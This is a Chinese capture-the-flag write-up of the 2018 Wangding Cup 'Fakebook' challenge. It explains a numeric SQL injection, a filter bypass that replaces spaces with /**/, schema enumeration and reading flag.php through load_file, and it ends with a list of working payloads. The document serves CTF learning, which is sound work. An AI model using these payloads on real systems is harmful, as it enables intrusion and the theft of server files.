[网鼎杯 2018]Fakebook
文章目录
- [网鼎杯 2018]Fakebook
- 掌握知识
- 解题思路
- 关键paylaod
掌握知识
SQL注入的联合注入;闭合类型的探查,本次是数字型闭合;SQL注入的读取文件的利用
解题思路
- 打开题目链接,发现主界面给了一些信息还有两个按钮,点开
join
发现是注册界面,随意出入信息注册账号,blog
似乎得输入邮箱格式,直接输入字符串显示blog
格式不对。返回再去点击登录界面发现不存在,尝试注册完直接输入登录地址显示登录成功
- 登录成功后显示了刚才注册的信息,而且发现
url
地址有一个很明显的get传参,联想着刚才注册信息,现在返回注册信息,怀疑是SQL注入点,测试修改参数没发现新数据,直接添加单引号闭合发现数据库报错,再次闭合发现还是报错,尝试其他的闭合方式,发现数字型闭合方式测试成功
- SQL注入注入点测试成功,继续测试列数,爆破表名列名,发现过滤了
union select
,尝试大小写和双写绕过都没成功,将空格换成/**/
成功回显信息绕过过滤。回显位置是2,后面也没有其他的过滤了,使用保存好的联合注入语句,修改2号位的SQL语句爆破出列名和表名
- 爆破得到列名,以为flag就在数据库中保存着了,但没想到查看数据之后发现是一串序列化字符串,而且保存的内容还是之前注册的信息
- 有点小懵逼,flag不在数据库中,猜测这道题可能考察的是SQL注入使用
load_file("文件路径")
读取文件的操作,根据网站的报错信息也知道了网站的绝对路径,先尝试读取网站的flag.php
文件,发现页面没回显,查看源代码拿下flag
,没想到还真就是flag.php
- 但还是对序列化字符串有点不解,查看了一下其他
wp
,发现爆破会得到了一个备份文件,利用反序列化和SSRF
进行文件读取的操作,其实到最后还是进行文件读取flag.php
文件,只是看了一下备份文件的源代码还是有些难以理解的。但还是记住SQL注入还是先要探查好表内数据,但发现表内没有可利用的信息,而且还是联合注入的情况下,可能就是考察读取文件操作,可以测试一下是否可以使用load_file
直接读取文件内容。
关键paylaod
1 and 1=1 1 and 1=2
1 order by 4
-1 union/**/select 1,database(),3,4
-1 union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4
-1 union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_name="users"),3,4
-1 union/**/select 1,(select data from users),3,4
-1 union/**/select 1,(select load_file("/var/www/html/flag.php")),3,4